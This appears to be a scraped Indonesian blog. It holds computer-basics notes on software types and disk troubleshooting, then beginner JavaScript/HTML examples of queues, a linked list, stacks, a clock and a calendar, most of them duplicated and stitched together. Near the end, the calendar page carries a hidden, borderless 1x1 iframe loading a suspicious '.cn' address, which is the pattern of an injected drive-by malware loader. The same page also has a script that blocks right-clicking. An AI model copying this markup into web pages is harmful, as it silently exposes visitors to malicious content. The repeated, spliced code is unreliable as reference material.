b. Spread Sheet (Pengolah Angka)
Software ini dipakai lebih banyak untuk pembuatan tabel-tabel dan angka.
Contoh :
- Lotus 123
- Super Calc
- Symphony
- Quattro
- Microsoft Excel
c. Database (Pengolah Data Awal)
Software ini pada dasarnya digunakan untuk mengatur informasi-informasi sehingga dapat memudahkan pencarian atau penyimpanan.
Contoh :
- dBase III
- dBXL
- Foxbase
- Paradox
- RBase
d. Publisher (Pengolah Tata Letak)
Software ini banyak dipakai oleh perusahaan cetak mencetak, surat kabar atau penerbitan yang banyak memerlukan pengaturan bentuk, jenis dan tata letak karakter tertentu.
Contoh :
- Ventura Desktop Publishing
- Microsoft Publisher
- PageMaker
- Flash
- Corel
e. Aided Design (Pengolah Rancang Bangun)
Software ini pada dasarnya dipakai untuk pembuatan rancang bangun (design) sebuah benda, ruangan, bangunan gedung, peta kota dan sebagainya.
Contoh :
- AutoCAD
- ProDesign
- DR Hallo
f. Statistic (Pengolah Statistik)
Software ini dipakai untuk memecahkan permasalahan statistik baik di bidang ekonomi, teknik, kesehatan, sosial dan budaya.
Contoh :
- SPSS
- MicroStat
- MiniTab
g. Language Program (Bahasa Pemrograman)
Software ini banyak dipakai oleh seorang programmer, program ini berfungsi untuk menciptakan software-software baru yang digunakan untuk membantu/mempermudah kerja seorang operator komputer.
Contoh :
- Turbo Assembler (bahasa pemrograman tingkat rendah)
- Basic, Pascal, Fortran, Cobol, Visual Basic (bahasa pemrograman tingkat menengah)
- Clipper, FoxPro, Delphi, C+ (bahasa pemrograman tingkat tinggi)
Pada perkembangan selanjutnya software ini juga dipakai untuk merusak data, informasi atau software-software (bahkan juga hardware) yang lain. Hasil dari pembuatan program yang berfungsi untuk merusak ini dikenal dengan Virus. Kata “virus” sebenarnya adalah kata yang sengaja diambil dari dunia kedokteran untuk dipakai di dunia komputer, karena mempunyai sifat yang sama yaitu “merusak” (membuat penyakit).
Virus komputer sebenarnya adalah program juga, ia sengaja dibuat oleh seseorang (programmer) yang tidak senang dengan kesempurnaan, dia lebih senang membuat kerusakan. Oleh karena itu tindakan membuat virus komputer bisa dikatakan “sebuah kejahatan“.
h. Anti Virus
Software ini khusus untuk mengantisipasi (membunuh) virus yang mungkin bisa masuk ke dalam komputer, baik itu komputer yang sendirian (stand alone) atau komputer dalam jaringan (network).
Contoh :
- Dr. Solomon Anti Virus
- Norton Anti Virus
- McAfee Virus Scan
- PC-Cillin
Applicated (Program Aplikasi)
Program ini merupakan program siap pakai, banyak dibuat untuk aplikasi-palikasi kerja tertentu seperti akuntansi, berbagai macam format, kartu-kartu, sampul buku, editing foto dan sebagainya.
Contoh :
- PrinShop
- PhotoShop
- DAC Easy
- Form Tools
- Free Hand
- Easy Flow
KLASIFIKASI PERANGKAT LUNAK (Software)
Perangkat lunak secara umum dapat di bagi 2 yaitu :
1. Perangkat lunak sistem
2. Perangkat lunak aplikasi.
Perangkat lunak sistem dapat di bagi lagi menjadi 3 macam yaitu :
1. Bahasa pemrograman : merupakan perangkat lunak yang bertugas mengkonversikan arsitektur dan algoritma yang di rancang manusia ke dalam format yang dapat di jalankan komputer, contoh bahasa pemrograman di antaranya : BASIC, COBOL, Pascal, C++, FORTRAN
2. Sistem Operasi : saat komputer pertama kali di hidupkan, sistem operasilah yang pertama kali di jalankan, sistem operasi yang mengatur seluruh proses, menterjemahkan masukan, mengatur proses internal, memanejemen penggunaan memori dan memberikan keluaran ke peralatan yang bersesuaian, contoh sistem operasi : DOS, Unix, Windows 95, IMB OS/2, Apple’s System 7
3. Utility : sistem operasi merupakan perangkat lunak sistem dengan fungsi tertentu, misalnya pemeriksaan perangkat keras (hardware troubleshooting), memeriksa disket yang rusak (bukan rusak fisik), mengatur ulang isi harddisk (partisi, defrag), contoh Utilty adalah Norton Utility
Perangkat lunak aplikasi merupakan bagian perangkat lunak yang sangat banyak di jumpai dan terus berkembang, baik pada system operasi berbasis text maupun pada system operasi berbasis Grafis (GUI). Sebelum tahun 1990-an aplikasi yang di kenal yaitu pemroses kata (Word Star, Chi Write), pemproses tabel (Lotus 123, Quatro Pro), database (DBASE), dan hiburan (game). Pada perkembangan pemroses kata, tabel dan database saat ini telah di bundel menjadi aplikasi office atau Open Office dengan tambahan aplikasi untuk pembuatan presentasi yang nanti akan di berikan pada pelatihan ini. Contoh aplikasi office adalah Microsoft Office yang terdiri dari Word(pemroses kata), Excel (pemroses tabel), Access (database), dan PowerPoint (presentasi). Dan contoh Open Office KWord (Pemroses kata), KSpreed(Pemroses table), KPresenter (presentasi). Yang berkembang sangat banyak saat ini adalah aplikasi multimedia dan internet. Contoh aplikasi multimedia adalah Winamp, Media Player, XMMS, untuk memutar musik berformat MP3 atau CD Audio, kemudian RealPlayer, Power DVD, XINE yang dapat digunakan untuk menonton film atau VCD. Aplikasi internet yang umum di gunakan adalah untuk browsing,e-mail, chatting dan messenger. Aplikasi yang bersifat khusus di antaranya untuk membantu pekerjaan Engineer seperti AutoCAD (gambar struktur), Protel (gambar rangkaian elektronik), dan Matlab (pemroses dan visualisasi persamaan matematis).
Sistem Operasi
Sistem operasi sangat berkaitan dengan prosesor yang di gunakan. Jenis prosesor pada PC yang umum adalah yang kompatibel dengan produk awal IBM dan Macintosh. PC Macintosh, perangkat lunaknya di kembangkan oleh perusahaan yang sama sehingga perkembangannya tidak sepesat cloning IBM PC. Sistem operasi dari cloning IBM saat ini secara umum terbagi menjadi 2 aliran yaitu komersil yang di buat oleh Microsoft, dan Linux yang bersifat freeware yang di kembangkan oleh peneliti dari seluruh dunia karena bersifat open source, yaitu bahan baku pembuatan dapat di baca, sehingga hasilnya dapat di tambah atau di modifikasi oleh setiap orang. Sementara interaksi antara pengguna dan komputer di kenal melalui 2 cara, cara yang pertama adalah pemberian instruksi melalui penulisan perintah (text), atau dengan cara tunjuk (pointer) dengan tampilan grafis (GUI).
Instlasi Software pada berbagai macam basis OS
Instalasi Software Ms-Office
Ms-Offiice merupakan paket software yang dibuat oleh Microsoft, yang termasuk dalam paket software ini antara lain : Ms-Word (Word Processing), Ms-Excel (Spreed Sheet), Ms-Power Point (Presentasi), Ms-Access (Database).
Pertama yang perlu dipahami adalah bahwa software ini hanya dapat diinstalasi dan berjalan pada system operasi Microsoft Windows.
Adapun langkah-langkah instalasinya adalah sebagai berikut :
1. Siapkan Paket instalasi software yang legal dalam media penyimpanan yang sesuai seperti HD, CD, FDD, DVD atau media lain.
2. Jalankan system operasi Windows dan pastikan bahwa system operasi tersebut telah berjalan dengan baik.
3. Pastikan bahwa ruang (spaces) HD masih mencukupi.
4. Apabila paket software tersedia dalam media CD, maka masukkan CD installer tersebut kedalam CD-Room.
5. Ikuti proses instalasi sesuai dengan Petunjuk instalasi (Instalation user manual).
Instalasi Open Office
Open Office merupakan paket software freeware (open source), software ini berjalan pada sistem operasi Linux. Adapun yang termasuk dalam paket software ini antara lain : K-Word (Word processing), KSpreed (Spread Sheet), KPresenter (Presentasi).
Langkah-langkah instalasi paket software ini adalah :
1. Masuk ke modus Yast
2. Masuk menu instalasi software
3. Pilih dan tandai software yang akan diinstalasi.
4. dan Lanjutkan sesuai dengan petunjuk/langkah-langkah, dalam instalation user manual.
Troubleshouting
Di dalam proses tidak jarang akan terjadi sutu troubleshouting-troubleshouting yang terajdi mulai dari proses partisi harddisk sampai dengan pengintalan, antara lain :
1. Media Penyimpanan (Harddisk/Diket/CD)
> Boot record rusak
Ciri-ciri kerusakan :
· Bila Media Penyimpanan tersebut diakses, missal pindah directory atau memberi perintah dir/explor untuk melihat file maka akan keluar pesan General failure reading drive n :
( n adalah nama drive, bisa a atau c )
· Bila dilakukan perintah format maka akan mengeluarkan pesan kesalahan :
Invalid media track 0 bad – disk unusable format terminated
Kerusakan pada media ini biasanya sangat fatal terutama pada track 0 yang bad secara fisik, selama ini kasus media track 0 yang hancur tidak bisa diperbaiki.
> FAT rusak
Setiap cluster ( penyimpanan terkecil yang dibutuhkan suatu file ) memiliki satu lokasi dalam fat yang menunjukkan cluter yang berikutnya.
Ciri – ciri kerusakan :
· Bila suatu file bicara dengan perintah dos misalnya type nama file, akan muncul pesan kesalahan :
File allocation table bad, drive n
· Bila suatu file dibuka atau dibaca isinya ter nyata ada sebagian isi file yang hilang dan digantikan dengan karakter aneh atau ada bagian file yang hilang
Untuk membetulkan FAT dapat dilakukan dengan perintah CHKDSK dengan parameter /f (fix). Ketikkan C: \CHKDSK /f n: (Enter) maka CHKDK akan memperbaikinya dengan mengatur ukuran file untuk kesalahan alokasi, memotong file dari bagian yang rusak dan hasilnya disimpan dalam bentuk FILENNNN.CHK pada direktori utama. NNNN adalah nomor yang berurutan ( dimulai dari angka 0000 ).
> Root Directory Rusak
bagian ini merupakan bagian yang berhubungan dengan pemanipulasian file, yaitu tentang nama file, eksternsi, atribut, hari dan tanggal file dibuat, nomor cluster awl dan ukuran file.
Ciri – ciri kerusakan :
Karena berfariainya kerusakan derektory yang mungkin maka berikut ini contoh kesalahan yang umum terjadi :
· Bila dilakukan perintah DIR, akan ditampilkan pesan kesalahan :
Data eror reading drive n:
Abort, retry, fail ?_
Atau bisa juga ditampilkan pesan :
General failure error reading drive n :
Abort, retry, fail ?_
Cara mengatasi kesalahan pada root directory bisa dilakukan dengan
utility scandisk.
> Jika terdapat Bad Sector
Cirri -ciri Kerusakan :
Kesalahan jenis ini menyebabkan fele yang menempati sector yang rusak ( bad sector) tidak bisa diakses, baik itu dibaca, ditulisi atau dikopi, bila file tersebut diakses maka computer akan memberikan pesan kealahan :
Error reading drive n
Abort, retry, ignore ?_
Pilihan ignore berarti memaksa computer untuk tetap membaca bagian yang rusak. Bila ini dipilih maka kemungkinan computer akan hang. Biasanya jika bed sector itu cara fisik memang rusak maka disk tersebut akan tetap memiliki bad sector. Untuk mengatasi atau memindahkan data yang ada pada bad sector tersebut sekaligus menandainya bahwa terdapat bad di situ digunakan scandisk.
Selasa, 26 Mei 2009
QUEUE 2
<html>
<head>
<title>Struktur Data Queue</title>
<script language="JavaScript">
var queue = new Array();
function Masuk_Antrian(data)
{
queue.unshift(data);
}
function Keluar_Antrian()
{
var yang_keluar_antrian = queue.pop();
if (queue.length==0)
return "Antrian Sudah Kosong";
else
return yang_keluar_antrian;
}
function Dalam_Antrian(list)
{
list.options.length=0;
for (var i = 0; i<queue.length; i++)
{
var data = new Option(queue[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Masuk Antrian"
onclick='Masuk_Antrian(textSimpan.value);
textSimpan.value="";
Dalam_Antrian(Visualisasi);'>
<select name="Visualisasi" size=12>
<option>Isi Antrian....
</select>
<input type=text name=textAmbil size=20>
<input type=button value="Keluar Antrian"
onClick="textAmbil.value=Keluar_Antrian();
Dalam_Antrian(Visualisasi);">
</form>
</body>
</html>
<html>
<head>
<title>Struktur Data Queue</title>
<script language="JavaScript">
var queue = new Array();
function Masuk_Antrian(data)
{
queue.unshift(data);
}
function Keluar_Antrian()
{
var yang_keluar_antrian = queue.pop();
if (queue.length==0)
return "Antrian Sudah Kosong";
else
return yang_keluar_antrian;
}
function Dalam_Antrian(list)
{
list.options.length=0;
for (var i = 0; i<queue.length; i++)
{
var data = new Option(queue[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Masuk Antrian"
onclick='Masuk_Antrian(textSimpan.value);
textSimpan.value="";
Dalam_Antrian(Visualisasi);'>
<select name="Visualisasi" size=12>
<option>Isi Antrian....
</select>
<input type=text name=textAmbil size=20>
<input type=button value="Keluar Antrian"
onClick="textAmbil.value=Keluar_Antrian();
Dalam_Antrian(Visualisasi);">
</form>
</body>
</html>
<html>
<head>
<title>Struktur Data Linked List </title></head>
<body>
<script language = "JavaScript">
<!--
function LinkedList()
{
this._panjang = 0;
this._kepala = null;
}
LinkedList.prototype =
{
construktor : LinkedList,
//Membuat Metode Untuk Menambah Data kedalam List
Tambah : function (data)
{
//Membuat Node List
var node = {data:data,next: null },NodeTanda;
//Periksa Isi List
if (this._kepala===null)
{
this._kepala = node;
}
else
{
NodeTanda = this._kepala;
while (NodeTanda.next)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.next = node;
}
this._panjang++;
},
//Membuat Metode Untuk Menunjuk Item Data
Item : function (index)
{
if (index > -1 && index <this._panjang)
{
var NodeTanda = this._kepala,
i = 0;
while (i ++ < index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Membuang Elemen List
Buang : function (index)
{
if (index > -1 && index < this._panjang)
{
var NodeTanda = this._kepala,previous,i = 0;
if (index === 0 )
{
this._kepala = NodeTanda.next;
}
else
{
while (i++ < index)
{
previous = NodeTanda;
NodeTanda = NodeTanda.next;
}
previous.next = NodeTanda.next;
}
this._panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Mengetahui Jumlah Elemen List
Ukuran :function()
{
return this._panjang;
},
//Membuat Metode Untuk Membentuk Array
toArray : function()
{
var result = [],
NodeTanda = this._kepala;
while(NodeTanda){
result.push (NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
//Membuat Metode Untuk Konversi ke String
toString : function()
{
return this.toArray().toString();
}
};
//Lanjutan
var list = new LinkedList();
list.Tambah("Teknik Informatika");
list.Tambah("Teknik Komputer");
list.Tambah("Komputerisasi Akuntansi");
list.Tambah("Computer Networking");
document.write ("Isi LinkedList <br>") ;
document.write("----------------<br>");
for(i=0; i<4; i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("----------------<br>");
alert("Isi LinkedList Awal="+ list.Item(0));
alert("Item 1 pada Linked list dibuang,yaitu =" +list.Item(1));
list.Buang(1);
document.write("Isi LinkedList Terakhir <br>");
document.write("------------------------<br>");
for(i=0;i<4;i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("--------------------<br>");
//-->
</script>
</body>
</html>
<head>
<title>Struktur Data Linked List </title></head>
<body>
<script language = "JavaScript">
<!--
function LinkedList()
{
this._panjang = 0;
this._kepala = null;
}
LinkedList.prototype =
{
construktor : LinkedList,
//Membuat Metode Untuk Menambah Data kedalam List
Tambah : function (data)
{
//Membuat Node List
var node = {data:data,next: null },NodeTanda;
//Periksa Isi List
if (this._kepala===null)
{
this._kepala = node;
}
else
{
NodeTanda = this._kepala;
while (NodeTanda.next)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.next = node;
}
this._panjang++;
},
//Membuat Metode Untuk Menunjuk Item Data
Item : function (index)
{
if (index > -1 && index <this._panjang)
{
var NodeTanda = this._kepala,
i = 0;
while (i ++ < index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Membuang Elemen List
Buang : function (index)
{
if (index > -1 && index < this._panjang)
{
var NodeTanda = this._kepala,previous,i = 0;
if (index === 0 )
{
this._kepala = NodeTanda.next;
}
else
{
while (i++ < index)
{
previous = NodeTanda;
NodeTanda = NodeTanda.next;
}
previous.next = NodeTanda.next;
}
this._panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
//Membuat Metode Untuk Mengetahui Jumlah Elemen List
Ukuran :function()
{
return this._panjang;
},
//Membuat Metode Untuk Membentuk Array
toArray : function()
{
var result = [],
NodeTanda = this._kepala;
while(NodeTanda){
result.push (NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
//Membuat Metode Untuk Konversi ke String
toString : function()
{
return this.toArray().toString();
}
};
//Lanjutan
var list = new LinkedList();
list.Tambah("Teknik Informatika");
list.Tambah("Teknik Komputer");
list.Tambah("Komputerisasi Akuntansi");
list.Tambah("Computer Networking");
document.write ("Isi LinkedList <br>") ;
document.write("----------------<br>");
for(i=0; i<4; i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("----------------<br>");
alert("Isi LinkedList Awal="+ list.Item(0));
alert("Item 1 pada Linked list dibuang,yaitu =" +list.Item(1));
list.Buang(1);
document.write("Isi LinkedList Terakhir <br>");
document.write("------------------------<br>");
for(i=0;i<4;i++)
{
document.write(list.Item(i) + "<br>");
}
document.write("--------------------<br>");
//-->
</script>
</body>
</html>
Selasa, 12 Mei 2009
<html>
<head>
<title>Program Queue dengan shift dan unshift javascript</title>
<script language="javaScript">
function DataQueue()
{
var queue = [];
queue.unshift(1);
queue.unshift(2);
var i = queue.pop();
document.write(i + "<br />");
queue.unshift(3);
queue.unshift(4);
var i = queue.pop();
document.write(i + "<br />");
}
</script>
</head>
<body>
<form name="FormStrukturData">
<input name="btnQueue" value="Queue" type="button"
onClick="DataQueue();" />
</form>
</body>
</html>
<head>
<title>Program Queue dengan shift dan unshift javascript</title>
<script language="javaScript">
function DataQueue()
{
var queue = [];
queue.unshift(1);
queue.unshift(2);
var i = queue.pop();
document.write(i + "<br />");
queue.unshift(3);
queue.unshift(4);
var i = queue.pop();
document.write(i + "<br />");
}
</script>
</head>
<body>
<form name="FormStrukturData">
<input name="btnQueue" value="Queue" type="button"
onClick="DataQueue();" />
</form>
</body>
</html>
Selasa, 14 April 2009
<html>
<head>
<title>Struktur fata stack</title>
<script language = "JavaScript">
var stack = new Array();
function Input_ke_Stack(data)
{
stack.push(data);
}
function Ambil_dari_Stack()
{
var data_dari_stack = stack.pop();
if (data_dari_stack == undefined)
return "stack sudah kosong";
else
return data_dari_stack;
}
function TampilkanStack(list)
{
list.options.length = 0;
for (var i = 0; i < stack.length; i++)
{
var data = new Option(stack[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Masukan ke stack"
onClick='Input_ke_Stack(textSimpan.value);
textSimpan.value="";
TampilkanStack(mediaList);'>
<select name="mediaList" size=12>
<option>Tampilan data....
</select>
<input type=text name=textAmbil size=20>
<input type=button value="Ambil dari Stack"
onClick="textAmbil.value =Ambil_dari_Stack();
TampilkanStack(mediaList);">
</form>
</body>
</html>
<head>
<title>Struktur fata stack</title>
<script language = "JavaScript">
var stack = new Array();
function Input_ke_Stack(data)
{
stack.push(data);
}
function Ambil_dari_Stack()
{
var data_dari_stack = stack.pop();
if (data_dari_stack == undefined)
return "stack sudah kosong";
else
return data_dari_stack;
}
function TampilkanStack(list)
{
list.options.length = 0;
for (var i = 0; i < stack.length; i++)
{
var data = new Option(stack[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Masukan ke stack"
onClick='Input_ke_Stack(textSimpan.value);
textSimpan.value="";
TampilkanStack(mediaList);'>
<select name="mediaList" size=12>
<option>Tampilan data....
</select>
<input type=text name=textAmbil size=20>
<input type=button value="Ambil dari Stack"
onClick="textAmbil.value =Ambil_dari_Stack();
TampilkanStack(mediaList);">
</form>
</body>
</html>
<html>
<head>
<title>Contoh Implementasi Push dan POP pada Stack</title>
</head>
<body>
<script type= "text/javascript">
var stack = new Array;
stack.push("A");
stack.push("B");
stack.push("C");
document.write("stack:"+stack.toString() +"<br>");
var YangDiAmbil = stack.pop();
document.write("Data Yang Diambil:"+YangDiAmbil);
document.write("<br>");
document.write("Isi Stack Terakhir:"+stack.toString());
</script>
</body>
</html>
<head>
<title>Contoh Implementasi Push dan POP pada Stack</title>
</head>
<body>
<script type= "text/javascript">
var stack = new Array;
stack.push("A");
stack.push("B");
stack.push("C");
document.write("stack:"+stack.toString() +"<br>");
var YangDiAmbil = stack.pop();
document.write("Data Yang Diambil:"+YangDiAmbil);
document.write("<br>");
document.write("Isi Stack Terakhir:"+stack.toString());
</script>
</body>
</html>
<HTML>
<Head>
<title> Tugas Stuktur Data </TITLE>
<script>
<!--
alert ("Wilujeng MeliHat ^^");
alert ("MoNgGo seDerEK Sedanten ^^");
//-->
</script>
</HEAD>
<Body bgcolor="blue">
<font color="red">
<p> JaM DAn Kalender
</font><hr>
<tr>
<th>Tugas</th>
<th>Struktur </th>
<th>Data</th>
<th>"MenunJukan WakTu KarawaNG BaRat"</th>
</tr>
<h1> Hasil PenaMPILannya </h1><font color="red">
<marquee> FaZUn Bin NuRKHafid ASlI WOnK BrEBEs</marquee>
<html>
<head>
<title>Clock</title>
<script type="text/javascript">
var namaBulanI = new Array( "Januari","Februari","Maret","April","Mei","Juni",
"Juli","Agustus","September","Oktober","November","Desember" );
var namaHariI = new Array( "Kamis","Jumat","Sabtu","Minggu","Senin","Selasa","Rabu" );
function showDate() {
now = new Date();
iTanggalM = now.getDate();
iBulanM = now.getMonth();
iTahunM = now.getYear();
if(iTahunM<1900) { iTahunM += 1900; } // Y2K
iJam=now.getHours();
iMenit=now.getMinutes();
iDetik=now.getSeconds();
hr = Date.UTC(iTahunM,iBulanM,iTanggalM,0,0,0)/1000/60/60/24;
sDate = namaHariI[hr%7]+", "+iTanggalM+" "+namaBulanI[iBulanM]+" "+iTahunM+"<br>";
sDate += (iJam<10?"0"+iJam:iJam)+":"+
(iMenit<10?"0"+iMenit:iMenit)+":"+
(iDetik<10?"0"+iDetik:iDetik);
if(document.all)
{ document.all.clock.innerHTML=sDate; }
else if(document.getElementById)
{ document.getElementById( "clock" ).innerHTML=sDate; }
else { document.write(sDate); }
}
function showIt() {
showDate();
if(document.all||document.getElementById)
{ setInterval("showDate()",1000); }
}
</script>
</head>
<body>
<span id="clock"><script>showIt();</script></span>
</body>
</html>
<HTML>
<head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<style type="text/css">
body {
font-family: arial, helvetica, serif;
</style>
<script type="text/javascript">
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
<!-- Original: Nick Korosi (nfk2000@hotmail.com) -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
var dDate = new Date();
var dCurMonth = dDate.getMonth();
var dCurDayOfMonth = dDate.getDate();
var dCurYear = dDate.getFullYear();
var objPrevElement = new Object();
function fToggleColor(myElement) {
var toggleColor = "#ff0000";
if (myElement.id == "calDateText") {
if (myElement.color == toggleColor) {
myElement.color = "";
} else {
myElement.color = toggleColor;
}
} else if (myElement.id == "calCell") {
for (var i in myElement.children) {
if (myElement.children[i].id == "calDateText") {
if (myElement.children[i].color == toggleColor) {
myElement.children[i].color = "";
} else {
myElement.children[i].color = toggleColor;
}
}
}
}
}
function fSetSelectedDay(myElement){
if (myElement.id == "calCell") {
if (!isNaN(parseInt(myElement.children["calDateText"].innerText))) {
myElement.bgColor = "#c0c0c0";
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = parseInt(myElement.children["calDateText"].innerText);
objPrevElement = myElement;
}
}
}
function fGetDaysInMonth(iMonth, iYear) {
var dPrevDate = new Date(iYear, iMonth, 0);
return dPrevDate.getDate();
}
function fBuildCal(iYear, iMonth, iDayStyle) {
var aMonth = new Array();
aMonth[0] = new Array(7);
aMonth[1] = new Array(7);
aMonth[2] = new Array(7);
aMonth[3] = new Array(7);
aMonth[4] = new Array(7);
aMonth[5] = new Array(7);
aMonth[6] = new Array(7);
var dCalDate = new Date(iYear, iMonth-1, 1);
var iDayOfFirst = dCalDate.getDay();
var iDaysInMonth = fGetDaysInMonth(iMonth, iYear);
var iVarDate = 1;
var i, d, w;
if (iDayStyle == 2) {
aMonth[0][0] = "Sunday";
aMonth[0][1] = "Monday";
aMonth[0][2] = "Tuesday";
aMonth[0][3] = "Wednesday";
aMonth[0][4] = "Thursday";
aMonth[0][5] = "Friday";
aMonth[0][6] = "Saturday";
} else if (iDayStyle == 1) {
aMonth[0][0] = "Sun";
aMonth[0][1] = "Mon";
aMonth[0][2] = "Tue";
aMonth[0][3] = "Wed";
aMonth[0][4] = "Thu";
aMonth[0][5] = "Fri";
aMonth[0][6] = "Sat";
} else {
aMonth[0][0] = "Su";
aMonth[0][1] = "Mo";
aMonth[0][2] = "Tu";
aMonth[0][3] = "We";
aMonth[0][4] = "Th";
aMonth[0][5] = "Fr";
aMonth[0][6] = "Sa";
}
for (d = iDayOfFirst; d < 7; d++) {
aMonth[1][d] = iVarDate;
iVarDate++;
}
for (w = 2; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (iVarDate <= iDaysInMonth) {
aMonth[w][d] = iVarDate;
iVarDate++;
}
}
}
return aMonth;
}
function fDrawCal(iYear, iMonth, iCellWidth, iCellHeight, sDateTextSize, sDateTextWeight, iDayStyle) {
var myMonth;
myMonth = fBuildCal(iYear, iMonth, iDayStyle);
document.write("<table border='1'>")
document.write("<tr>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][0] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][1] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][2] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][3] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][4] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][5] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][6] + "</td>");
document.write("</tr>");
for (w = 1; w < 7; w++) {
document.write("<tr>")
for (d = 0; d < 7; d++) {
document.write("<td align='left' valign='top' width='" + iCellWidth + "' height='" + iCellHeight + "' id=calCell style='CURSOR:Hand' onMouseOver='fToggleColor(this)' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>");
if (!isNaN(myMonth[w][d])) {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>" + myMonth[w][d] + "</font>");
} else {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)> </font>");
}
document.write("</td>")
}
document.write("</tr>");
}
document.write("</table>")
}
function fUpdateCal(iYear, iMonth) {
myMonth = fBuildCal(iYear, iMonth);
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = "";
for (w = 1; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (!isNaN(myMonth[w][d])) {
calDateText[((7*w)+d)-7].innerText = myMonth[w][d];
} else {
calDateText[((7*w)+d)-7].innerText = " ";
}
}
}
}
// End -->
</script>
</head>
<body>
<table width="760" height="577" border="0">
<tr>
<td width="140"> </td>
<td width="620" valign="top"><br><br><b><u>Event Calendar</u></b><br><br>
<script language="JavaScript" for=window event=onload>
<!-- Begin
var dCurDate = new Date();
frmCalendarSample.tbSelMonth.options[dCurDate.getMonth()].selected = true;
for (i = 0; i < frmCalendarSample.tbSelYear.length; i++)
if (frmCalendarSample.tbSelYear.options[i].value == dCurDate.getFullYear())
frmCalendarSample.tbSelYear.options[i].selected = true;
// End -->
</script>
<form name="frmCalendarSample" method="post" action="">
<input type="hidden" name="calSelectedDate" value="">
<table border="1">
<tr>
<td>
<select name="tbSelMonth" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select name="tbSelYear" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>
<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
</select>
</td>
</tr>
<tr>
<td>
<script language="JavaScript">
var dCurDate = new Date();
fDrawCal(dCurDate.getFullYear(), dCurDate.getMonth()+1, 30, 30, "12px", "bold", 1);
</script>
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
<Head>
<title> Tugas Stuktur Data </TITLE>
<script>
<!--
alert ("Wilujeng MeliHat ^^");
alert ("MoNgGo seDerEK Sedanten ^^");
//-->
</script>
</HEAD>
<Body bgcolor="blue">
<font color="red">
<p> JaM DAn Kalender
</font><hr>
<tr>
<th>Tugas</th>
<th>Struktur </th>
<th>Data</th>
<th>"MenunJukan WakTu KarawaNG BaRat"</th>
</tr>
<h1> Hasil PenaMPILannya </h1><font color="red">
<marquee> FaZUn Bin NuRKHafid ASlI WOnK BrEBEs</marquee>
<html>
<head>
<title>Clock</title>
